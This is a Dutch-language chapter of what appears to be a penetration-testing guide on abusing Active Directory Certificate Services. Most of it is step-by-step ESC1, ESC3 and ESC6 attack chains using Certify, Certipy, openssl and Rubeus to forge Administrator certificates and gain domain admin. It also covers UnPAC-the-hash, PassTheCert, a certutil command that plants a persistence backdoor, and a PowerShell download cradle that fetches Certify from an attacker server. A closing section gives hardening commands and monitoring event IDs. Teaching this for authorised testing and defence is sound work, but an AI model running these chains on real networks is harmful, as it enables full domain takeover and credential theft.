Active Directory Certificate Services (ADCS)
Waarin we ontdekken dat de paspoortautoriteit zelf de zwakste schakel is, dat niemand PKI begrijpt, en dat een verkeerd aangevinkt vakje in een template voldoende is om het hele koninkrijk te veroveren.
De paspoortautoriteit
Stel je voor: je staat op Schiphol met je paspoort. Het boekje zelf is niets bijzonders — een stukje karton met een foto en wat gegevens. Wat het waardevol maakt, is de autoriteit die erachter staat. De Rijksoverheid zegt: “Deze persoon is wie hij zegt dat hij is.” Elke douanier ter wereld vertrouwt dat oordeel. Niet omdat ze jou kennen, maar omdat ze de uitgever vertrouwen.
Active Directory Certificate Services werkt precies zo. De Certificate Authority (CA) is de digitale Rijksoverheid van je netwerk. Zij geeft certificaten uit die zeggen: “Deze computer is echt dc01,” of “Deze gebruiker is echt Jan van Finance.” Elke service, elke server, elke authenticatiepoging vertrouwt die certificaten blind. En net als bij echte paspoorten geldt: als iemand de drukpers in handen krijgt, is het spel voorbij.
Maar hier wordt het interessant. Bij echte paspoorten zijn er fysieke beveiligingen — watermerken, hologrammen, biometrische chips. Bij ADCS? Daar zijn het templates. Configuratieformulieren. Dropdown-menu’s en checkboxen. En als een systeembeheerder die templates verkeerd configureert — wat verbazingwekkend vaak gebeurt — dan kan iedereen met een netwerkaccount zichzelf een paspoort drukken op naam van de koning.
Will Schroeder en Lee Christensen publiceerden in 2021 hun onderzoek “Certified Pre-Owned” en legden daarmee een aanvalsvector bloot die al die jaren onder ieders neus had bestaan. Acht escalatiepaden, genummerd ESC1 tot ESC8, elk een variatie op hetzelfde thema: de Certificate Authority vertrouwt, maar verifieert onvoldoende. Het was alsof iemand ontdekte dat je bij het gemeentehuis een nieuw paspoort kon aanvragen door gewoon vriendelijk te vragen en de juiste naam op het formulier te schrijven.
In dit hoofdstuk lopen we door de belangrijkste ADCS-aanvallen: enumeratie, ESC1, ESC3 en ESC6. Elk is een les in hoe vertrouwen misplaatst kan zijn wanneer configuratie het enige is dat tussen een aanvaller en domeinadmin-rechten staat.
Wat is ADCS?
PKI in een notendop
Public Key Infrastructure klinkt als iets wat alleen cryptografen begrijpen, en eerlijk gezegd gedragen de meeste systeembeheerders zich alsof dat ook zo is. Het concept is echter verrassend eenvoudig.
PKI draait om twee sleutels: een publieke en een private. De publieke sleutel is als je huisadres — iedereen mag het weten. De private sleutel is als de sleutel van je voordeur — alleen jij hebt die. Wanneer iemand een bericht versleutelt met je publieke sleutel, kan alleen jij het ontcijferen met je private sleutel. En wanneer jij iets ondertekent met je private sleutel, kan iedereen met je publieke sleutel verifiëren dat het echt van jou komt.
Een certificaat is niets meer dan een publieke sleutel met een handtekening van iemand die we vertrouwen — de Certificate Authority. Het is een digitaal identiteitsbewijs: “Ik, de CA, bevestig dat deze publieke sleutel hoort bij Administrator@domain.local.”
Active Directory Certificate Services
ADCS is Microsoft’s implementatie van PKI, diep geïntegreerd in Active Directory. De componenten:
- Certificate Authority (CA): De kern. Meestal een Enterprise CA die direct in AD geïntegreerd is. Geeft certificaten uit, ondertekent ze, en beheert de levenscyclus.
- Certificate Templates: Blauwdrukken die bepalen welk type certificaat uitgegeven kan worden. Wie mag aanvragen? Welke sleutelgebruiken zijn toegestaan? Mag de aanvrager zelf bepalen voor wie het certificaat is? (Spoiler: dat laatste is waar het misgaat.)
- Enrollment Services: Het loket waar je je aanvraag indient. Via de Certificate Enrollment Web Service, via certreq.exe, of via Group Policy auto-enrollment.
- Certificate Revocation List (CRL): De “gestolen paspoorten” lijst. In theorie controleert iedereen deze lijst. In de praktijk… nou ja.
┌──────────────────────────────────────────────────────────────┐
│ Active Directory Forest │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌────────────────┐ │
│ │ Client │───>│ Enrollment │───>│ Certificate │ │
│ │ (certreq) │ │ Service │ │ Authority │ │
│ └─────────────┘ └──────────────┘ └───────┬────────┘ │
│ │ │
│ ┌──────────────────────┘ │
│ │ │
│ ┌──────┴──────┐ │
│ │ Templates │ │
│ │ (AD LDAP) │ │
│ └─────────────┘ │
└──────────────────────────────────────────────────────────────┘
Waarom ADCS zo gevaarlijk is
Certificaten in AD zijn niet zomaar encryptiesnuisterijen. Ze worden gebruikt voor:
- Authenticatie: Via PKINIT kan een certificaat een Kerberos TGT opleveren. Een certificaat is een wachtwoord — maar eentje dat niet verloopt door een password policy en niet reset wordt bij “Alle wachtwoorden wijzigen!”
- Smart Card Logon: Certificaten vervangen wachtwoorden volledig.
- Code Signing: Vertrouwde software ondertekenen.
- Encryptie: EFS, S/MIME, TLS.
Het fundamentele probleem: als je een certificaat kunt krijgen op naam van een domain admin, krijg je een TGT als die domain admin. Geen wachtwoord nodig. Geen hash nodig. Alleen een .pfx-bestand en Rubeus.
En hier is het cynische deel: de meeste organisaties hebben hun CA jaren geleden opgezet, waarschijnlijk door iemand die een Microsoft-tutorial volgde, op “Next, Next, Finish” klikte, en er daarna nooit meer naar omkeek. Die templates? Standaardconfiguratie. Die permissions? “Authenticated Users” mag enrollen. Die audit logs? Uitgeschakeld, want “te veel ruis.” Het is alsof je een paspoortbureau opent, de deur op een kier zet, en dan gaat lunchen. Permanent.
De anatomie van een certificaat
Voordat we gaan aanvallen, is het nuttig om te begrijpen wat er eigenlijk in een certificaat zit. Een X.509-certificaat — de standaard die ADCS gebruikt — bevat een aantal velden:
┌─────────────────────────────────────────────────────────┐
│ X.509 Certificate │
├─────────────────────────────────────────────────────────┤
│ Version: 3 (v3) │
│ Serial Number: 01:23:45:67:89:AB:CD:EF │
│ Signature Algorithm: sha256WithRSAEncryption │
│ Issuer: CN=domain-CA, DC=domain, DC=local │
│ Validity: │
│ Not Before: Jan 1 00:00:00 2025 UTC │
│ Not After: Jan 1 00:00:00 2026 UTC │
│ Subject: CN=Administrator │
│ Subject Alt Name: UPN=Administrator@domain.local │
│ Public Key: RSA 2048 bit │
│ Extended Key Usage: │
│ - Client Authentication (1.3.6.1.5.5.7.3.2) │
│ - Smart Card Logon (1.3.6.1.4.1.311.20.2.2) │
│ Signature: [CA's digitale handtekening] │
└─────────────────────────────────────────────────────────┘
De cruciale velden voor aanvallers:
- Subject / Subject Alternative Name (SAN): Wie is de eigenaar van het certificaat? Bij ESC1/ESC6 bepaalt de aanvrager dit veld in plaats van de CA.
- Extended Key Usage (EKU): Waarvoor mag het
certificaat gebruikt worden?
Client AuthenticationenSmart Card Logonzijn de EKU’s die authenticatie mogelijk maken. - Issuer: Welke CA heeft het uitgegeven? De KDC verifieert dit tegen de vertrouwde CA’s in AD.
- Validity: Hoe lang is het certificaat geldig? Standaard templates variëren van 1 tot 5 jaar. Vijf jaar ongehinderde toegang.
Het onderscheid tussen Subject en Subject
Alternative Name is belangrijk. Historisch stond de identiteit
in het Subject-veld (CN=Administrator). Moderne
implementaties gebruiken de SAN, specifiek de User Principal Name (UPN:
Administrator@domain.local). Bij PKINIT-authenticatie is
het de SAN die bepaalt welk account het TGT krijgt — niet het Subject.
Dit verklaart waarom de /altname parameter in Certify zo
dodelijk is: het vult de SAN in, en de SAN is wat telt.
Template permissies in detail
Een certificate template heeft twee soorten permissies die relevant zijn:
- Enrollment-rechten: Wie mag een certificaat aanvragen via deze template? Dit staat in de DACL van het template-object in AD.
- Autoenrollment: Mag het certificaat automatisch uitgedeeld worden via Group Policy? Dit is een aparte permission.
In LDAP zien de relevante attributen er zo uit:
dn: CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,
CN=Services,CN=Configuration,DC=domain,DC=local
msPKI-Certificate-Name-Flag: 1 # ENROLLEE_SUPPLIES_SUBJECT
msPKI-Enrollment-Flag: 0 # Geen restricties
pKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2 # Client Authentication
msPKI-RA-Signature: 0 # Geen co-signing vereist
De msPKI-RA-Signature waarde is bijzonder relevant: als
deze 0 is, is er geen co-signature nodig. Als deze 1 of hoger is, moet
een Enrollment Agent mee-ondertekenen — wat ESC3 als tussenstap
vereist.
ADCS Enumeratie
Voordat je certificaten kunt misbruiken, moet je weten wat er is. Enumeratie van ADCS is de eerste stap, en het goede nieuws is dat de meeste tools dit triviaal maken. Het slechte nieuws — voor de verdedigers — is dat elke geauthenticeerde gebruiker deze informatie kan opvragen.
Certify.exe
Certify is het standaardwapen voor ADCS-enumeratie, geschreven door Will Schroeder als onderdeel van de GhostPack-toolkit. Het is snel, betrouwbaar, en levensgevaarlijk in de juiste handen.
CA’s in het domein vinden:
.\Certify.exe casDit toont alle Certificate Authorities, hun configuratie, en cruciale details zoals welke templates beschikbaar zijn en welke flags actief zijn op de CA zelf.
Alle templates enumereren:
.\Certify.exe findDe output is uitgebreid: template naam, OID, permissions, key usage, en de vlaggen die bepalen of de template kwetsbaar is.
Alleen kwetsbare templates vinden:
.\Certify.exe find /vulnerableDit is de gouden optie. Certify controleert automatisch op bekende misconfiguraties (ESC1 t/m ESC8) en filtert de output. Als hier iets uitkomt, heb je werk te doen — of als aanvaller, een cadeautje.
Templates met Enrollee Supplies Subject:
.\Certify.exe find /enrolleeSuppliesSubjectDit zoekt specifiek naar ESC1-kwetsbare templates: templates waar de aanvrager zelf mag bepalen voor wie het certificaat is.
Client Authentication certificaten:
.\Certify.exe find /clientauthToont welke certificaten bruikbaar zijn voor authenticatie — het type dat we nodig hebben om TGT’s aan te vragen.
IB — In Incompetent Bastard staat
adcs_enum klaar met alle Certify-commando’s. Gebruik de
Commands-pagina om ze naar je doelmachine te sturen. Om Certify zelf op
het doelsysteem te krijgen, gebruik je het get_certify
command, dat Certify downloadt van je IB-server:
powershell -c (new-object System.Net.WebClient).DownloadFile(
'http://10.0.0.1/tools/Certify.exe',
'c:\windows\tasks\Certify.exe'
)Zorg dat Certify.exe in je IB
http/payloads/ of tools/ directory staat
voordat je dit uitvoert.
Certipy (vanuit Linux)
Niet iedereen zit op een Windows-machine, en niet iedereen wil dat. Certipy is de Python-variant, geschreven door Oliver Lyak, en draait prima vanuit je Kali-box.
Volledige enumeratie:
certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1Alleen kwetsbare templates:
certipy find -u user@domain.local -p 'Password123!' -dc-ip 10.0.0.1 -vulnerableCertipy genereert bovendien BloodHound-compatible output, zodat je de relaties visueel kunt analyseren. Kwetsbare templates, wie er mag enrollen, welke CA ze uitgeeft — alles mooi in een grafiek.
Handmatig via certutil
Soms heb je geen tooling en moet je het doen met wat Windows je geeft. Certutil is altijd aanwezig:
# Alle templates dumpen
certutil -v -template > templates.txt
# CA's enumereren
certutil -config - -pingDe output van certutil -v -template is overweldigend —
duizenden regels per template. Maar zoek naar deze sleutelwoorden:
msPKI-Certificate-Name-Flag: bevat ditENROLLEE_SUPPLIES_SUBJECT? Dan is ESC1 mogelijk.pKIExtendedKeyUsage: bevat ditCertificate Request Agent? Dan is ESC3 mogelijk.msPKI-Enrollment-Flag: bevat ditAUTO_ENROLLMENT? Dan worden certificaten automatisch uitgedeeld.
Waar je naar zoekt
Na enumeratie is de cruciale vraag: welke templates zijn kwetsbaar? De checklist:
| Eigenschap | Risico | ESC |
|---|---|---|
ENROLLEE_SUPPLIES_SUBJECT |
Aanvrager bepaalt de SAN | ESC1 |
Certificate Request Agent EKU |
Certificaten namens anderen aanvragen | ESC3 |
EDITF_ATTRIBUTESUBJECTALTNAME2 op CA |
Alle templates worden ESC1-kwetsbaar | ESC6 |
| Manager Approval uitgeschakeld | Geen menselijke goedkeuring nodig | ESC1/ESC2 |
Authenticated Users kan enrollen |
Iedereen kan aanvragen | ESC1-ESC4 |
Any Purpose EKU of geen EKU |
Certificaat is overal voor bruikbaar | ESC2 |
Een kwetsbare template heeft typisch drie eigenschappen tegelijk: (1) de aanvrager bepaalt de subject, (2) client authentication is mogelijk, en (3) een brede groep kan enrollen. Eén van de drie is vervelend. Alle drie samen is catastrofaal.
ESC1 — Misconfigured Certificate Templates
Het probleem
ESC1 is de meest voorkomende en meest vernietigende ADCS-kwetsbaarheid. Het concept is beschamend eenvoudig.
Een certificate template kan twee manieren gebruiken om te bepalen wie het certificaat beschrijft:
- Subject uit Active Directory halen: De CA vult automatisch de naam en e-mail in op basis van het AD-account van de aanvrager. Veilig — je krijgt een certificaat op je eigen naam.
- Enrollee Supplies Subject: De aanvrager vult zelf in voor wie het certificaat is. Handig? Zeker. Levensgevaarlijk? Absoluut.
Als een template ENROLLEE_SUPPLIES_SUBJECT heeft
ingeschakeld, gecombineerd met een Extended Key Usage die Client
Authentication toestaat, en de aanvrager enrollment-rechten heeft, dan
kan die aanvrager een certificaat aanvragen op naam van wie dan
ook. De domain admin. De CEO. Het krbtgt-account. Maakt niet
uit.
Het is alsof het paspoortbureau een formulier heeft waar je zelf je naam, geboortedatum en BSN mag invullen, en de ambtenaar het vervolgens zonder controle ondertekent en afstempelt. “U zegt dat u de minister-president bent? Prima, hier is uw paspoort. Fijne dag nog.”
De aanval stap voor stap
Stap 1: Vind kwetsbare templates
.\Certify.exe find /vulnerableIn de output zoek je naar templates met:
msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT
pkiextendedkeyusage: Client Authentication
Enrollment Rights: domain\Domain Users (of Authenticated Users)
Stel dat je een template vindt genaamd
VulnerableTemplate. Dan gaat het feest beginnen.
Stap 2: Certificaat aanvragen als Administrator
.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"VulnerableTemplate" /altname:AdministratorCertify dient een certificate request in bij de CA, met als Subject
Alternative Name (SAN) “Administrator”. De CA controleert of je
enrollment-rechten hebt op de template — ja, want
Domain Users mag enrollen — en of de template deze aanvraag
toestaat — ja, want ENROLLEE_SUPPLIES_SUBJECT staat aan.
Certificaat uitgegeven.
De output is een PEM-bestand met het certificaat en de private sleutel.
Stap 3: Converteer naar PFX
Het PEM-bestand moet worden omgezet naar een PFX (PKCS#12) bestand dat Windows begrijpt:
openssl pkcs12 -in cert.pem -keyex \
-CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out esc1.pfxJe wordt gevraagd om een export-wachtwoord. Kies iets dat je onthoudt.
Stap 4: TGT aanvragen met het certificaat
Nu het magische moment. We gebruiken Rubeus om met het certificaat een Kerberos TGT aan te vragen:
.\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx /password:CertPassword /pttDe /ptt flag injecteert het ticket direct in je huidige
sessie. Je bent nu Administrator.
Stap 5: Verifieer
ls \\dc01.domain.local\c$Als je de inhoud van de C$-share op de domain controller ziet, ben je domain admin. Van “ik heb een gewoon gebruikersaccount” naar “ik bezit het hele domein” in vijf commando’s. Geen exploits. Geen zero-days. Alleen een verkeerd geconfigureerde template.
ESC1 vanuit Linux met Certipy
Dezelfde aanval, maar dan vanuit je Kali-machine:
# Certificaat aanvragen met Administrator UPN
certipy req -u user@domain.local -p 'Password123!' \
-ca domain-CA -target dc01.domain.local \
-template VulnerableTemplate \
-upn Administrator@domain.local
# Authenticeren met het certificaat
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1Certipy handelt de conversie en TGT-aanvraag automatisch af. Het resultaat: een NTLM-hash of Kerberos TGT voor Administrator.
IB — Het adcs_esc1 command in IB bevat
de volledige aanvalsketen. Pas de volgende waarden aan voordat je het
uitvoert:
dc01.domain.local\domain-CA— vervang door de daadwerkelijke CA-naam (uitadcs_enumoutput)TemplateName— vervang door de naam van de kwetsbare templateAdministrator— vervang door de gewenste doelgebruiker
Tip: Controleer altijd de enrollment-rechten. De
template moet enrollable zijn voor jouw user of groep. Certify’s
/vulnerable flag controleert dit automatisch.
De tijdlijn van een ESC1-aanval
Om het hele plaatje te schetsen, hier de chronologische volgorde met geschatte tijden:
T+0:00 .\Certify.exe find /vulnerable
→ Output toont "VulnerableTemplate" met ENROLLEE_SUPPLIES_SUBJECT
→ Enrollment Rights: Domain Users
→ EKU: Client Authentication
(Tijd: ~5 seconden)
T+0:10 .\Certify.exe request /ca:dc01.domain.local\domain-CA
/template:"VulnerableTemplate" /altname:Administrator
→ CA geeft certificaat uit
→ Output: PEM-encoded cert + private key
(Tijd: ~3 seconden)
T+0:20 openssl pkcs12 -in cert.pem -keyex [...] -export -out esc1.pfx
→ PFX bestand aangemaakt
(Tijd: ~2 seconden)
T+0:30 .\Rubeus.exe asktgt /user:Administrator /certificate:esc1.pfx
/password:CertPassword /ptt
→ TGT voor Administrator in huidige sessie
(Tijd: ~2 seconden)
T+0:35 ls \\dc01.domain.local\c$
→ Directory listing van DC C$-share
→ DOMAIN ADMIN BEREIKT
(Tijd: ~1 seconde)
TOTAAL: ~35 seconden van normale gebruiker naar domain admin
Vijfendertig seconden. Minder tijd dan het kost om een kop koffie te zetten. En alles is legitiem verkeer — certificate requests, Kerberos TGT-aanvragen, SMB-connecties. Geen exploit. Geen vulnerability in de traditionele zin. Alleen configuratie die doet wat het is geconfigureerd om te doen.
Waarom is dit zo wijdverspreid?
Je zou denken dat een dergelijke flagrante misconfiguratie zeldzaam is. Helaas niet. Er zijn meerdere redenen:
- Legacy templates: Veel organisaties hebben templates die stammen uit de Windows Server 2003-era, toen “ENROLLEE_SUPPLIES_SUBJECT” de standaard was voor bepaalde template types.
- Kopiëren zonder begrijpen: Beheerders kopiëren bestaande templates en passen ze aan zonder de implicaties van elke vlag te begrijpen.
- Documentatie: Microsoft’s eigen documentatie waarschuwde jarenlang niet prominent voor het risico van deze vlag.
- Geen monitoring: Vrijwel niemand monitort certificate enrollment events. De aanval genereert Event ID 4887 (Certificate Services approved a certificate request), maar wie kijkt daar naar?
Het is het digitale equivalent van een bank die de kluisdeur openlaat omdat “de medewerkers moeten er toch bij kunnen.” Technisch correct. Praktisch desastreus.
ESC3 — Enrollment Agent Templates
Het concept
ESC3 is subtieler dan ESC1, maar niet minder dodelijk. Waar ESC1 draait om een template die je rechtstreeks laat bepalen voor wie het certificaat is, draait ESC3 om een tussenstap: het Enrollment Agent-certificaat.
Denk aan het verschil tussen zelf een paspoort vervalsen (ESC1) en eerst een functie krijgen bij het paspoortbureau (ESC3). Met een Enrollment Agent-certificaat word je een vertrouwde uitgever van certificaten namens anderen. Het is een meta-aanval: je vraagt niet zomaar een certificaat aan, je vraagt het recht aan om certificaten voor anderen aan te vragen.
Dit vereist twee templates:
- Een Enrollment Agent template — een template met de
Extended Key Usage
Certificate Request Agent. Dit certificaat geeft je het recht om namens anderen aan te vragen. - Een target template — een template die certificaten uitgeeft die je wilt (bijv. Smart Card Logon of Client Authentication).
De aanval
Stap 1: Vind een Enrollment Agent template
.\Certify.exe find /vulnerableZoek in de output naar:
pkiextendedkeyusage: Certificate Request Agent
Veel organisaties hebben templates als
SmartCardEnrollment-Agent die precies dit doen.
Stap 2: Enrollment Agent certificaat aanvragen
.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:SmartCardEnrollment-AgentDit geeft je een certificaat dat zegt: “Deze persoon mag certificaten aanvragen namens anderen.” Converteer het resultaat naar een PFX:
openssl pkcs12 -in cert.pem -keyex \
-CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
-export -out esc3agent.pfxStap 3: Certificaat aanvragen namens Administrator
Nu gebruik je je Enrollment Agent-certificaat om een certificaat aan te vragen namens de Administrator:
.\Certify.exe request /ca:dc01.domain.local\domain-CA \
/template:SmartCardEnrollment-Users \
/onbehalfof:domain\Administrator \
/enrollcert:esc3agent.pfx \
/enrollcertpw:Password123!De CA ziet een geldige Enrollment Agent die een certificaat aanvraagt namens een gebruiker. Dit is precies waarvoor het systeem ontworpen is — de CA gaat ervan uit dat de Enrollment Agent geautoriseerd is om dit te doen. Certificaat uitgegeven.
Stap 4: TGT aanvragen
.\Rubeus.exe asktgt /user:Administrator /certificate:esc3user.pfx /password:Password123! /pttStap 5: Verifieer
ls \\dc01.domain.local\c$IB — Het adcs_esc3 command bevat de
volledige twee-staps aanvalsketen. ESC3 is minder voorkomend dan ESC1,
maar wanneer het aanwezig is, is het zeer krachtig. Controleer of
Enrollment Agent Restrictions geconfigureerd zijn op de CA — deze
beperken welke doelaccounts een Enrollment Agent mag targeten.
Waarom ESC3 vaak over het hoofd gezien wordt
ESC3 is complexer dan ESC1 — twee stappen in plaats van een. Daardoor
wordt het regelmatig overgeslagen bij security assessments. “We hebben
geen ESC1, dus we zijn veilig” is een uitspraak die ik te vaak hoor.
Maar ESC3 is juist gevaarlijk omdat het gebruikt wordt door organisaties
die bewust ENROLLEE_SUPPLIES_SUBJECT hebben uitgeschakeld
maar vergeten zijn dat Enrollment Agent-templates hetzelfde resultaat
bereiken via een omweg.
Het is als een bank die de voordeur beveiligt met een vijfpunts slot, terwijl de zijdeur openstaat omdat “die is alleen voor het personeel.” De inbreker trekt gewoon een schort aan.
ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
De nucleaire optie
Als ESC1 een kwetsbare template is en ESC3 een kwetsbare workflow, dan is ESC6 een kwetsbare Certificate Authority. Dit is geen template-level probleem — dit is een CA-level configuratiefout die elke template in het domein kwetsbaar maakt.
De flag heet EDITF_ATTRIBUTESUBJECTALTNAME2. Wanneer
deze actief is op de CA, kan elke aanvrager bij elke certificaataanvraag
een Subject Alternative Name (SAN) meegeven. Het maakt niet uit wat de
template zegt. Het maakt niet uit of
ENROLLEE_SUPPLIES_SUBJECT uitgeschakeld is. De CA overruled
de template en staat de SAN toe.
Stel je voor dat de paspoortautoriteit een intern beleid heeft dat zegt: “Wie een paspoort aanvraagt, mag ook een tweede naam opgeven die we er gewoon bijzetten.” Niet per formulier, maar als organisatiebreed beleid. Elke aanvraag, elke template, altijd. Dat is ESC6.
Detectie
Controleer of de flag actief is:
certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"In de output zoek je naar:
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
Als deze flag aanwezig is, is elke template in het domein effectief
ESC1-kwetsbaar. Elke template. Zelfs de standaard
User-template die Microsoft meegeeft.
De aanval
Stap 1: Certificaat aanvragen met SAN
Omdat ESC6 elke template kwetsbaar maakt, kun je zelfs de meest basale template gebruiken:
.\Certify.exe request /ca:dc01.domain.local\domain-CA /template:"User" /altname:AdministratorDe standaard User-template. Die template die in elke
AD-omgeving bestaat. Die template waarvan iedereen denkt dat hij veilig
is.
Met Certipy vanuit Linux:
certipy req -u user@domain.local -p 'Password123!' \
-ca domain-CA -target dc01.domain.local \
-template User \
-upn Administrator@domain.localStap 2: TGT aanvragen
.\Rubeus.exe asktgt /user:Administrator /certificate:esc6.pfx /password:Password123! /pttKlaar. Domain admin. Via de standaard User-template.
ESC6 als persistentiemechanisme
Hier wordt het echt duivels. Als je al domain admin bent, kun je de flag zelf activeren:
certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2Dit creëert een backdoor die overleeft na password resets, zelfs na het verwijderen van kwetsbare templates. De CA zelf is nu je persistentiemechanisme. Zolang de flag actief is, kun je op elk moment een nieuw certificaat aanvragen op elke naam.
IB — Het adcs_esc6 command bevat zowel
de detectie als de exploitatie. Merk op dat ESC6 een CA-level
misconfiguratie is, niet een template-level probleem. Alle templates
worden kwetsbaar wanneer deze flag actief is. Het command bevat ook de
certutil-regel om de flag zelf te activeren — gebruik dit uitsluitend om
persistentie te demonstreren in geautoriseerde tests.
Hoe ontstaat ESC6?
De flag EDITF_ATTRIBUTESUBJECTALTNAME2 wordt soms bewust
geactiveerd door beheerders die “flexibele” certificaatuitgifte willen.
Webservers die certificaten met meerdere SAN’s nodig hebben, interne
applicaties die certificaten aanvragen voor service accounts — er zijn
legitieme redenen om SANs te willen specificeren.
Het probleem is dat de flag alles-of-niets is. Er is geen “sta SANs toe, maar alleen voor webserver-templates” optie. Het is aan of uit, voor de hele CA. En zodra het aan staat, is elke template een wapen.
Microsoft’s eigen documentatie over deze flag is opmerkelijk laconiek. Ergens in een KB-artikel staat een waarschuwing, begraven onder drie lagen hyperlinks. Geen rode banner. Geen popup. Gewoon een zinnetje dat zegt “pas op.” Het is alsof de fabrikant van een kernreactor in de kleine lettertjes schrijft: “Let op: knopje A kan een meltdown veroorzaken.”
Certificaat-gebaseerde authenticatie
PKINIT
PKINIT (Public Key Cryptography for Initial Authentication) is het
protocol dat certificaten koppelt aan Kerberos. Wanneer je
Rubeus.exe asktgt uitvoert met een certificaat, gebeurt het
volgende:
- Rubeus stuurt een AS-REQ naar de KDC met het certificaat als pre-authenticatie.
- De KDC valideert het certificaat tegen de CA.
- De KDC extraheert de gebruikersnaam uit de SAN van het certificaat.
- De KDC geeft een TGT uit voor die gebruiker.
Stap 3 is waar het misgaat bij ESC1/ESC3/ESC6. De KDC vertrouwt de SAN in het certificaat. Als het certificaat zegt “ik ben Administrator”, dan geeft de KDC een TGT voor Administrator. De KDC controleert niet waarom het certificaat die SAN heeft — alleen dat de CA het certificaat heeft ondertekend.
┌──────────┐ AS-REQ + Cert ┌──────────┐
│ Client │─────────────────────────────>│ KDC │
│ (Rubeus) │ │ (DC) │
│ │<─────────────────────────────│ │
│ │ TGT (Admin) │ Trust: │
└──────────┘ │ CA cert │
└──────────┘
Schannel
Naast PKINIT kunnen certificaten ook via Schannel (TLS client authentication) gebruikt worden. Dit is minder gebruikelijk voor aanvallers, maar het principe is hetzelfde: de server vertrouwt het certificaat, extraheert de identiteit, en verleent toegang.
UnPAC-the-Hash
Een bijzonder handige techniek: wanneer je via PKINIT een TGT krijgt, bevat het antwoord een PAC (Privilege Attribute Certificate) met daarin de NTLM-hash van de gebruiker. Met Certipy kun je deze hash direct extraheren:
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1De output bevat zowel het TGT als de NTLM-hash. Die hash kun je vervolgens gebruiken voor pass-the-hash aanvallen, zelfs als de certificaat-authenticatie later wordt geblokkeerd.
PassTheCert
Wat als PKINIT niet beschikbaar is? PassTheCert is een techniek die certificaten gebruikt voor LDAP-authenticatie via Schannel, waarna je direct DCSync kunt uitvoeren of andere AD-wijzigingen kunt doorvoeren. Het is een alternatieve route wanneer Kerberos-gebaseerde certificaatauthenticatie geblokkeerd is.
# PassTheCert via Certipy (LDAP Schannel)
certipy auth -pfx admin.pfx -dc-ip 10.0.0.1 -ldap-shellAndere ESC-varianten
ESC2 — Any Purpose certificaten
Templates met Any Purpose EKU of helemaal geen EKU zijn
bruikbaar voor alles, inclusief client authentication. Gecombineerd met
brede enrollment-rechten is dit een route naar domain admin.
ESC4 — Template ACL abuse
Als je schrijfrechten hebt op een certificate template object in AD,
kun je de template wijzigen om ENROLLEE_SUPPLIES_SUBJECT in
te schakelen — waarna het ESC1 wordt. BloodHound detecteert deze
schrijfrechten.
ESC7 — CA Officer rechten
Als je ManageCA rechten hebt op de CA, kun je jezelf
ManageCertificates rechten geven. Daarmee kun je falende
certificaataanvragen alsnog goedkeuren — ook die met een SAN die normaal
geweigerd zou worden.
ESC8 — NTLM Relay naar Web Enrollment
Als de CA een web enrollment endpoint heeft zonder HTTPS of EPA (Extended Protection for Authentication), kun je NTLM-authenticatie relay-en naar dat endpoint om certificaten aan te vragen namens het slachtoffer. PetitPotam + ESC8 = domain admin.
Elke ESC-variant is een variatie op hetzelfde thema: ergens in de keten van “aanvraag -> validatie -> uitgifte -> gebruik” zit een gat. De aanvaller hoeft er maar een te vinden.
ESC-vergelijkingstabel
| ESC | Niveau | Vereiste | Complexiteit | Impact |
|---|---|---|---|---|
| ESC1 | Template | ENROLLEE_SUPPLIES_SUBJECT + Client Auth + brede
enrollment |
Laag | Domain Admin |
| ESC2 | Template | Any Purpose EKU of geen EKU + brede enrollment |
Laag | Domain Admin |
| ESC3 | Template | Enrollment Agent template + target template | Gemiddeld | Domain Admin |
| ESC4 | Template ACL | Schrijfrechten op template-object | Gemiddeld | Maakt ESC1 mogelijk |
| ESC6 | CA config | EDITF_ATTRIBUTESUBJECTALTNAME2 flag |
Laag | Alle templates kwetsbaar |
| ESC7 | CA ACL | ManageCA rechten |
Gemiddeld | Certificaten goedkeuren |
| ESC8 | Web Enrollment | HTTP (geen HTTPS) + geen EPA | Gemiddeld | Domain Admin via relay |
De trend is duidelijk: hoe hoger het nummer, hoe complexer de aanval — maar ze leiden allemaal naar hetzelfde eindpunt. Domain admin. Het verschil zit in hoeveel stappen je nodig hebt en welke voorwaarden aanwezig moeten zijn.
Verdediging
Template hardening
De belangrijkste maatregel is het controleren van elke certificate template:
# Audit alle templates op bekende kwetsbaarheden
.\Certify.exe find /vulnerable
# Of vanuit Linux
certipy find -u admin@domain.local -p 'Password!' -dc-ip 10.0.0.1 -vulnerableVoor elke template, controleer:
- Is
ENROLLEE_SUPPLIES_SUBJECTnodig? In 95% van de gevallen niet. Schakel het uit. - Wie heeft enrollment-rechten? Beperk tot specifieke
groepen, niet
Authenticated UsersofDomain Users. - Is Manager Approval ingeschakeld? Voor gevoelige templates zou elke aanvraag handmatig goedgekeurd moeten worden.
- Is de EKU beperkt? Geen
Any Purpose. Alleen de specifieke key usages die nodig zijn.
CA hardening
# Check of ESC6 flag actief is
certutil -config "dc01.domain.local\domain-CA" -getreg "policy\EditFlags"
# Verwijder de ESC6 flag als deze actief is
certutil -config "dc01.domain.local\domain-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
# Herstart de CA service
net stop certsvc && net start certsvcConfigureer Enrollment Agent Restrictions om te beperken welke templates en doelaccounts Enrollment Agents mogen gebruiken.
Monitoring
Certificate enrollment events zijn een goudmijn voor detectie, als je ze inschakelt:
| Event ID | Beschrijving | Belang |
|---|---|---|
| 4886 | Certificate request ontvangen | Wie vraagt wat aan? |
| 4887 | Certificate request goedgekeurd en uitgegeven | Welke SAN? Welke template? |
| 4888 | Certificate request geweigerd | Iemand probeert iets ongewoons |
| 4889 | Certificate request pending | Manager approval actief |
